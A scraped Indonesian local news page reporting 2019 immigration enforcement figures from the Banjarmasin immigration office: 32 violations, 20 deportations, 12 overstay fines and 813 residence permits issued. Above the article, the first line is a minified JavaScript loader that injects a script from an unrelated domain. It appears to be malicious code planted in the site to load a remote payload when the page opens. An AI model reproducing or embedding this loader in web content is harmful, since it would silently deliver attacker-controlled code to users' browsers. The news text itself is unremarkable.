(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Sebanyak 32 pelanggaran izin keimigrasian oleh Warga Negara Asing (WNA) telah dilakukan Tindakan Administratif Keimigrasian (TAK) oleh Kantor Imigrasi Kelas I Banjarmasin, sepanjang tahun 2019 ini.
Kepala Kantor Imigrasi Kelas I TPI Banjarmasin, Syahrifullah, mengatakan diantara 32 WNA yang telah melanggar izin ini, 20 diantaranya telah dilakukan deportasi. “Tindakan Administratif Keimigrasian yang kita lakukan kepada 32 pelanggar izin ini, berupa Deportasi sebanyak 20 orang dan Pengenaan biaya beban Overstay kepada 12 Orang,” katanya saat menggelar konfrensi pers Capaian Kinerja 2019, Selasa (31/12) siang.
Adapun, WNA yang dideportasi berasal dari Cina dan disusul Korea. Sedangkan, oelanggaran izin yang dilakukan puluhan WNA hampir seluruhnya dikarenakan izin tinggal telah habis masa berlakunya (Overstay).
Selain itu, Syahrifullah juga menjelaskan disepanjang tahun 2019 ini, pihaknya telah menerbitkan ratusan izin tinggal terbatas kepada Warga Negara Asing (WNA).
Tercatat, sudah ada 813 izin tinggal yang telah diterbitkan. Mayoritas pemegang lzin tinggal adalah Warga Negara Asing (WNA) berkebangsaan China dan Korea Selatan untuk keperluan bekerja sedangkan dari Pakistan untuk wisata Keagamaan.
“Mereka rata-rata kebanyakan bekerja di perusahaan, dimana emoat terbanyak yakni di PT Conch, PT Merge di Kab Banjar, dan di PLTU Asam-Asam dan Tanjung, serta di perusahaan Plywood di Basirih,” terang Syahrifullah.
Di sisi lain, Kantor Imigrasi Kelas I TPI Banjaramasin juga sudah membentuk Tim Pengawas orang Asing (TIMPORA) tingkat kecamatan pada seluruh wilayah kerja Kantor Imigrasi Banjarmasin untuk meningkatkan pengawasan orang asing di Kalsel. “Kami melakukan rapat dan pembentukan TIMPORA tingkat kecamatan pada seluruh wilayah kerja Kantor Imigrasi Banjarmasin guna memperketat pengawasan terhadap orang asing” runutnya.
Adapun Kepala Seksi Intelejen dan Penindakan Keimigrasian Kantor Imigrasi Kelas I TPI Banjarmasin Muhamad Hariyadi menambahkan, selama 2019 Kantor Imigrasi Banjarmasin tidak mengeluarkan sanksi pidana. “Tahun ini tidak ada yang mengarah ke pidana dalam hal pelanggaran imigrasi. Artinya pelanggaran imigrasi jauh menurun” lontar Hariyadi.
Dirinya pun berharap kedepan di 2020 juga tidak ada pelanggran imigrasi yang berat. “Selama 2019 hanya tindakan deportasi atau biaya beban atau overstay. Mudah mudahan di 2020 yang akan datang tidak ada pelanggaran yang berarti” sebutnya. (Rico)
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More
This website uses cookies.